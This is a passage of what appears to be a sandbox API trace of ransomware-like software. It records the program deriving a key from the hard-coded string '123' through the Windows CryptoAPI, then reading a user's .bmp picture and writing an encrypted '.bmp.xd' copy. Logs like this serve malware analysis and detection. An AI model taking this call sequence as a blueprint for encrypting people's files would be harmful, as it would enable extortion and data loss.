CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.555] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.555] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.555] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.555] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.555] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.555] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.555] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0061.555] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.555] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.555] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.555] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.555] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.555] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.555] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.555] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.555] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.555] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.556] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.556] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.556] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.556] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.556] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.556] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.556] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.556] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.556] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16214e0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0061.556] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0061.556] CryptCreateHash (in: hProv=0x17a9f88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0061.556] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.556] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.556] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.557] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629470, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.557] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0061.557] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.557] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.557] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.557] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.557] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0061.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621828, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0061.557] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0061.558] CryptHashData (hHash=0x164c2b0, pbData=0x16293d0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0061.558] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.558] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.558] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.558] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.558] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.558] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.558] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.558] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0061.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621780, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0061.558] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0061.558] CryptDeriveKey (in: hProv=0x17a9f88, Algid=0x6610, hBaseData=0x164c2b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c630) returned 1 [0061.558] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.558] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.558] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.558] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.558] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.559] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.559] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0061.559] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0061.559] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0061.559] CryptDestroyHash (hHash=0x164c2b0) returned 1 [0061.559] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.559] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.559] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.559] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.559] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.559] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\fjawttn6a7xyzfxjvq6u\\k y0fh1uyk3.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0061.560] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.560] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0061.560] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.560] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.560] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.560] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\fjawttn6a7xyzfxjvq6u")) returned 0x10 [0061.560] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\K y0fh1uyK3.bmp.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\fjawttn6a7xyzfxjvq6u\\k y0fh1uyk3.bmp.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0061.561] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.561] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.561] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.561] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.563] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0061.563] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x1fa0, lpOverlapped=0x0) returned 1 [0061.563] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0061.565] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.568] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.569] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.569] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0061.570] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.570] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.570] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0061.570] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.570] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0061.570] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.570] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.570] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.570] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0061.570] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0061.571] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0061.571] CryptGetKeyParam (in: hKey=0x164c630, dwParam=0x7, pbData=0x1629520, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629520*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0061.571] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.571] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.571] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.571] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.571] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.571] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.571] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.571] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.571] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.571] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.571] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.571] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.571] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.571] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.571] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.571] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.571] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.571] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.571] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.572] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.572] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.572] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.572] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.572] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.572] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621858, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.572] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.572] CryptEncrypt (in: hKey=0x164c630, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x1fa0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x1fb0) returned 1 [0061.572] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.572] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.573] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.573] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.573] CharLowerBuffW (in: lpsz="byte[8113]", cchLength=0xa | out: lpsz="byte[8113]") returned 0xa [0061.573] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.573] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 